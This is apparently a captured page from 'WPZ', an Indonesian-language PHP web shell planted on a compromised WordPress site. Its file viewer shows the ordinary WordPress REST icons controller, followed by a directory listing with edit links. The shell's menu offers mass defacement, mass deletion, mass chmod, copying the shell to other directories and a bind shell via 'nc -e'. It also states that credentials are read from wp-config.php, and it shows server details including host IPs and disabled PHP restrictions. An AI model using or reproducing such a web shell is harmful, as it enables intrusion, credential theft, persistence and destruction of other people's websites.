WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-includes / rest-api / endpoints / [dxwrx-rx-r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php (9.08 KB)
<?php

/**
 * REST API: WP_REST_Icons_Controller class
 *
 * @package    WordPress
 * @subpackage REST_API
 * @since      7.0.0
 */

/**
 * Controller which provides a REST endpoint for the editor to read registered
 * icons. Icons are grouped into collections (the default one being `core`).
 *
 * @since 7.0.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Icons_Controller extends WP_REST_Controller {

	/**
	 * Constructs the controller.
	 *
	 * @since 7.0.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'icons';
	}

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 7.0.0
	 * @since 7.1.0 Added the `/icons/<collection>` collection-scoped route.
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<collection>[a-z0-9](?:[a-z0-9_-]*[a-z0-9])?)',
			array(
				'args'   => array(
					'collection' => array(
						'description' => __( 'Icon collection slug.' ),
						'type'        => 'string',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<name>[a-z0-9](?:[a-z0-9_-]*[a-z0-9])?/[a-z0-9](?:[a-z0-9_-]*[a-z0-9])?)',
			array(
				'args'   => array(
					'name' => array(
						'description' => __( 'Icon name.' ),
						'type'        => 'string',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to read icons.
	 *
	 * @since 7.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check(
		// phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable
		$request
	) {
		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}

		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_cannot_view',
			__( 'Sorry, you are not allowed to view the registered icons.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Checks if a given request has access to read a specific icon.
	 *
	 * @since 7.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$check = $this->get_items_permissions_check( $request );
		if ( is_wp_error( $check ) ) {
			return $check;
		}

		return true;
	}

	/**
	 * Retrieves all icons, optionally scoped to a collection.
	 *
	 * @since 7.0.0
	 * @since 7.1.0 Supports filtering by collection.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$collection = $request->get_param( 'collection' );

		if ( null !== $collection && ! WP_Icon_Collections_Registry::get_instance()->is_registered( $collection ) ) {
			return new WP_Error(
				'rest_icon_collection_not_found',
				sprintf(
					/* translators: %s: Icon collection slug. */
					__( 'Icon collection not found: "%s".' ),
					$collection
				),
				array( 'status' => 404 )
			);
		}

		$response = array();
		$search   = $request->get_param( 'search' );
		$icons    = WP_Icons_Registry::get_instance()->get_registered_icons( $search );

		foreach ( $icons as $icon ) {
			if ( null !== $collection && ( ! isset( $icon['collection'] ) || $icon['collection'] !== $collection ) ) {
				continue;
			}
			$prepared_icon = $this->prepare_item_for_response( $icon, $request );
			$response[]    = $this->prepare_response_for_collection( $prepared_icon );
		}
		return rest_ensure_response( $response );
	}

	/**
	 * Retrieves a specific icon.
	 *
	 * @since 7.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$icon = $this->get_icon( $request['name'] );
		if ( is_wp_error( $icon ) ) {
			return $icon;
		}

		$data = $this->prepare_item_for_response( $icon, $request );
		return rest_ensure_response( $data );
	}

	/**
	 * Retrieves a specific icon from the registry.
	 *
	 * @since 7.0.0
	 *
	 * @param string $name Icon name.
	 * @return array|WP_Error Icon data on success, or WP_Error object on failure.
	 */
	public function get_icon( $name ) {
		$registry = WP_Icons_Registry::get_instance();
		$icon     = $registry->get_registered_icon( $name );

		if ( null === $icon ) {
			return new WP_Error(
				'rest_icon_not_found',
				sprintf(
					// translators: %s is the name of any user-provided name
					__( 'Icon not found: "%s".' ),
					$name
				),
				array( 'status' => 404 )
			);
		}

		return $icon;
	}

	/**
	 * Prepare a raw icon before it gets output in a REST API response.
	 *
	 * @since 7.0.0
	 * @since 7.1.0 Added the `collection` field.
	 *
	 * @param array           $item    Raw icon as registered, before any changes.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function prepare_item_for_response( $item, $request ) {
		$fields = $this->get_fields_for_response( $request );
		$keys   = array(
			'name'       => 'name',
			'label'      => 'label',
			'content'    => 'content',
			'collection' => 'collection',
		);
		$data   = array();
		foreach ( $keys as $item_key => $rest_key ) {
			if ( isset( $item[ $item_key ] ) && rest_is_field_included( $rest_key, $fields ) ) {
				$data[ $rest_key ] = $item[ $item_key ];
			}
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );
		return rest_ensure_response( $data );
	}

	/**
	 * Retrieves the icon schema, conforming to JSON Schema.
	 *
	 * @since 7.0.0
	 * @since 7.1.0 Added the `collection` property.
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'icon',
			'type'       => 'object',
			'properties' => array(
				'name'       => array(
					'description' => __( 'The icon name.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'label'      => array(
					'description' => __( 'The icon label.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'content'    => array(
					'description' => __( 'The icon content (SVG markup).' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'collection' => array(
					'description' => __( 'The slug of the collection this icon belongs to.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for the icons collection.
	 *
	 * @since 7.0.0
	 * @since 7.1.0 Added the `collection` parameter.
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params                       = parent::get_collection_params();
		$query_params['context']['default'] = 'view';
		$query_params['collection']         = array(
			'description' => __( 'Limit results to icons belonging to the given collection slug.' ),
			'type'        => 'string',
			'pattern'     => '^[a-z0-9]([a-z0-9_-]*[a-z0-9])?$',
		);
		return $query_params;
	}
}
namawaktuukuranownerpermaksi
..
class-wp-rest-abilities-v1-categories-controller.php 2026-08-20 11:467.95 KB 76129f60960:kunden-xw-x-----
edt
class-wp-rest-abilities-v1-list-controller.php 2026-08-20 11:4612.51 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-rest-abilities-v1-run-controller.php 2026-08-20 11:4611.37 KB 76129f60960:kunden-xw-x-----
edt
class-wp-rest-application-passwords-controller.php 2026-02-23 19:4123.75 KB 76129f60960:kunden-xw-x-----
edt
class-wp-rest-attachments-controller.php 2026-09-18 04:01115.57 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-rest-autosaves-controller.php 2026-08-20 11:4615.14 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-rest-block-directory-controller.php 2026-05-21 09:119.68 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-rest-block-pattern-categories-controller.php 2026-02-23 19:414.7 KB 76129f60960:kunden-xw-x-----
edt
class-wp-rest-block-patterns-controller.php 2026-02-23 19:419.08 KB 76129f60960:kunden-xw-x-----
edt
class-wp-rest-block-renderer-controller.php 2026-05-21 09:115.73 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-rest-block-types-controller.php 2026-02-23 19:4126.25 KB 76129f60960:kunden-xw-x-----
edt
class-wp-rest-blocks-controller.php 2026-05-21 09:113.05 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-rest-comments-controller.php 2026-11-19 00:3867.24 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-rest-controller.php 2026-05-21 09:1118.59 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-rest-edit-site-export-controller.php 2026-02-23 19:412.06 KB 76129f60960:kunden-xw-x-----
edt
class-wp-rest-font-collections-controller.php 2026-05-21 09:1110.39 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-rest-font-faces-controller.php 2026-05-21 09:1129.4 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-rest-font-families-controller.php 2026-05-21 09:1117.44 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-rest-global-styles-controller.php 2026-08-20 11:4623.5 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-rest-global-styles-revisions-controller.php 2026-05-21 09:1112.98 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-rest-icon-collections-controller.php 2026-08-20 11:467.37 KB 76129f60960:kunden-xw-x-----
edt
class-wp-rest-icons-controller.php 2026-08-20 11:469.08 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-rest-menu-items-controller.php 2026-02-23 19:4132.49 KB 76129f60960:kunden-xw-x-----
edt
class-wp-rest-menu-locations-controller.php 2026-05-21 09:118.67 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-rest-menus-controller.php 2026-08-20 11:4616.69 KB 76129f60960:kunden-xw-x-----
edt
class-wp-rest-navigation-fallback-controller.php 2026-02-23 19:415.05 KB 76129f60960:kunden-xw-x-----
edt
class-wp-rest-pattern-directory-controller.php 2026-05-21 09:1112.58 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-rest-plugins-controller.php 2026-02-23 19:4127.86 KB 76129f60960:kunden-xw-x-----
edt
class-wp-rest-post-statuses-controller.php 2026-02-23 19:4110.07 KB 76129f60960:kunden-xw-x-----
edt
class-wp-rest-post-types-controller.php 2026-02-23 19:4113.95 KB 76129f60960:kunden-xw-x-----
edt
class-wp-rest-posts-controller.php 2026-11-19 00:38102.46 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-rest-revisions-controller.php 2026-08-20 11:4630.06 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-rest-search-controller.php 2026-02-23 19:4111.21 KB 76129f60960:kunden-xw-x-----
edt
class-wp-rest-settings-controller.php 2026-05-21 09:1110.09 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-rest-sidebars-controller.php 2026-05-21 09:1115.53 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-rest-site-health-controller.php 2026-02-23 19:419.61 KB 76129f60960:kunden-xw-x-----
edt
class-wp-rest-taxonomies-controller.php 2026-02-23 19:4113.69 KB 76129f60960:kunden-xw-x-----
edt
class-wp-rest-template-autosaves-controller.php 2026-02-23 19:417.64 KB 76129f60960:kunden-xw-x-----
edt
class-wp-rest-template-revisions-controller.php 2026-02-23 19:418.52 KB 76129f60960:kunden-xw-x-----
edt
class-wp-rest-templates-controller.php 2026-11-19 00:3838.54 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-rest-terms-controller.php 2026-02-23 19:4134.61 KB 76129f60960:kunden-xw-x-----
edt
class-wp-rest-themes-controller.php 2026-05-21 09:1122.91 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-rest-url-details-controller.php 2026-02-23 19:4120.07 KB 76129f60960:kunden-xw-x-----
edt
class-wp-rest-users-controller.php 2026-05-21 09:1148.67 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-rest-view-config-controller.php 2026-08-20 11:4621.59 KB 76129f60960:kunden-xw-x-----
edt
class-wp-rest-widget-types-controller.php 2026-08-20 11:4618.75 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-rest-widgets-controller.php 2026-05-21 09:1126.23 KB 76129f60960:kunden-xw-x--x--
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-includes/rest-api/endpoints
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK